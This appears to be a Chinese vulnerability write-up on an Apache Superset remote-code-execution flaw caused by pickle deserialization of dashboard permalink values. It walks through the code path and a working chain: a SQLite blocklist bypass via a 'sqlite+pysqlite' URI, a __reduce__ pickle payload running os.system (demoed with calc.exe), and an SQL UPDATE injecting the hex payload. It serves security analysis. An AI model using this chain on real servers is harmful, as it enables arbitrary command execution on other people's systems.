superset反序列化分析

前几天看到有公众号发布了Apache Superset的命令执行漏洞,涉及到python的反序列化,正好今天分析一下漏洞点的发现和漏洞利用过程

前几天看到有公众号发布了Apache Superset的命令执行漏洞,涉及到python的反序列化,正好今天分析一下漏洞点的发现和漏洞利用过程

0x01 前置知识-python反序列化

在python中,模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。和其他语言的反序列化一样,python里的 pickle 模块 并不安全。 你只应该对你信任的数据进行 unpickle 操作。构建恶意的 pickle 数据来在解封时执行任意代码是可能的。 绝对不要对不信任来源的数据和可能被篡改过的数据进行解封。(官方文档)

首先要说说__reduce__()这个魔术方法,这个方法用来表明类的对象应当如何序列化,当对象被Pickle(反序列化)时就会被调用。(和php中的__wakeup()类似)

__reduce__()方法不带任何参数,并且应返回字符串或最好返回一个元组(返回的对象通常称为“reduce 值”)。如果返回的是元组,则应当包含 2 到 6 个元素,这里主要关注前两个元素,

  • 第一个元素代表一个可调用对象,该对象会在创建对象的最初版本时调用。
  • 第二个元素代表可调用对象的参数,是一个元组。如果可调用对象不接受参数,必须提供一个空元组。

举个例子:

import pickle
import os

class Student(object):
    name = 'xxx'
    age = '20'
    def __reduce__(self):
        cmd = "calc.exe"
        return os.system, (cmd,)

y = pickle.dumps(Student())
print(y)
pickle.loads(y)

image-20230914145251743

0x02 漏洞点发现

首先全局搜索pickle.loads,该函数就是反序列化的地方,如果该参数可控,就可以造成远程命令执行

image-20230918112303726

可以看到如果调用了GetKeyValueCommand中的run方法就会调用get,最后反序列化entry.value的内容进行反序列化,在get方法中是从数据库的key_value表中筛选resourcekey值所得到的value值,写成sql语句的话类这样:

select value from key_value where resource=xxx and key=xxx

那么就寻找哪里实例化了GetKeyValueCommand类并调用了run方法,并且传入的参数还是可控的

image-20230918113106089

经过筛查找到这样一处位置,传递的两个参数中self.resource是常量,值为dashboard_permalink,key为传递给GetDashboardPermalinkCommand的参数

image-20230913183449039

我们如法炮制找到实例化GetDashboardPermalinkCommand的地方,并且发现了触发这一条链的路由:/dashboard/p/<key>/

image-20230918151952438

既然这个功能是从数据库中取数据,那大概率有一个功能点是往数据库中写数据的地方,并且返回一个这样的路径,于是我们全局查找代码中出现/dashboard/p/的地方:

通过搜索找到这样一处,代码逻辑流程是访问<pk>/permalink路径,然后将pk参数和post传入的json合并后通过CreateDashboardPermalinkCommand生成key,最后拼接成上面的链接

image-20230918152333524

通过查看注释可以知道这是一个保存固定链接(permanent link)的功能点

image-20230920105114587

pk为当前dashboard的id,通过CreateDashboardPermalinkCommandrun方法获取固定链接的key值,我们继续更近run方法:

image-20230913182630311

这里的value将dashboardIdstate合并后,传入到下面的UpsertKeyValueCommand方法中,其中的key值时通过user_id和value生成的uuid值,resource为dashboard_permalink

然后进入UpsertKeyValueCommand的run方法中,调用了upsert,然后其中会将value的值通过pickle.dumps序列化后存入数据库

image-20230913182524476

然后通过key.id和salt生成一个固定链接

image-20230913184718553

我们获取到这样一个固定链接:

http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/

所以我们的攻击路径就是首选获取一个固定链接,在生成固定链接的同时会将数据写入到数据库,然后我们通过修改数据库中的内容为payload,在访问固定链接的时候会取数据库中的数据进行反序列化,进而造成RCE

0x03 漏洞利用

点击右上角···-Share-Copy permailink to clipboard

image-20230913174540088

它会发送一个以下请求包生成一个当前页面的固定链接

POST /api/v1/dashboard/2/permalink HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

{"urlParams":[],"dataMask":{},"activeTabs":[]}

image-20230913175211295

我们获取到这样一个固定链接:

http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/

所以我们如果要想在这里进行反序列化就需要修改数据库中key_value表中dashboard_permalink值,正好有一个功能SQL Lab可以执行sql语句,那么我们就可以通过update修改dashboard_permalink值为payload,然后打开固定链接就可以触发pickle.loads进行反序列化,从而导致RCE

image-20230913185403759

但是不巧的是,这里执行的SQL语句只能执行SELECT

image-20230913185633970

而且在配置数据库的地方勾选Allow DML会提示SQLiteDialect_pysqlite cannot be used as a data source for security reasons.无法保存

image-20230913185724113

于是我们可以重新添加一个数据源也为sqlite,然后将源指向同一个数据库,并且打开Allow DML,但是直接添加也会报错,因为sqliteuri.drivername的黑名单里

image-20230914110528216

但是依然可以通过方言和驱动程序名称的完整SQLAlchemy URI来绕过,pysqlite驱动程序支持SQLite数据库,例如:sqlite+pysqlite:///D:/superset_2.1.0/superset.db

SQL方言(或者数据库方言)指的是用于访问数据库的结构化查询语言的变体,根据具体的数据库系统不同,也可能会支持不同的方言。简单而言,某种DBMS不只会支持SQL标准,而且还会有一些自己独有的语法。

image-20230914110626354

之后在生成固定链接后就可以去Sql Lab去update修改dashboard_permalink

以弹出计算器作为演示,将RCE类序列化后转换为hex输出

import pickle
import os
from binascii import hexlify

class RCE:
    def __reduce__(self):
        return os.system, ('calc.exe',)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(hexlify(pickled).decode())

然后执行sq语句:

update key_value set value=X'636e740a73797374656d0a70300a285663616c632e6578650a70310a7470320a5270330a2e' where resource='dashboard_permalink';

image-20230914140854110

在数据库中也被成功修改

image-20230914112822038

然后访问固定链接也可成功弹出计算器

image-20230914113252332

0x04 总结

整个攻击路径就是首先通过sqlite+pysqlite://来添加当前数据库并开启DML使其能允许使用非 SELECT 语句(例如 UPDATE、DELETE、CREATE 等)操作数据库,然后生成一个固定链接,然后通过sql语句的update更新dashboard_permalink的值,然后在访问该链接后,在获取value时会触发pickle.loads()方法去反序列化dashboard_permalink的值,而这里的value值已经在上一步中通过sql语句将其替换成了payload,最终造成任意命令执行,

  • 发表于 2023-10-09 15:00:01
  • 阅读 ( 17388 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
中铁13层打工人
中铁13层打工人

79 篇文章

站长统计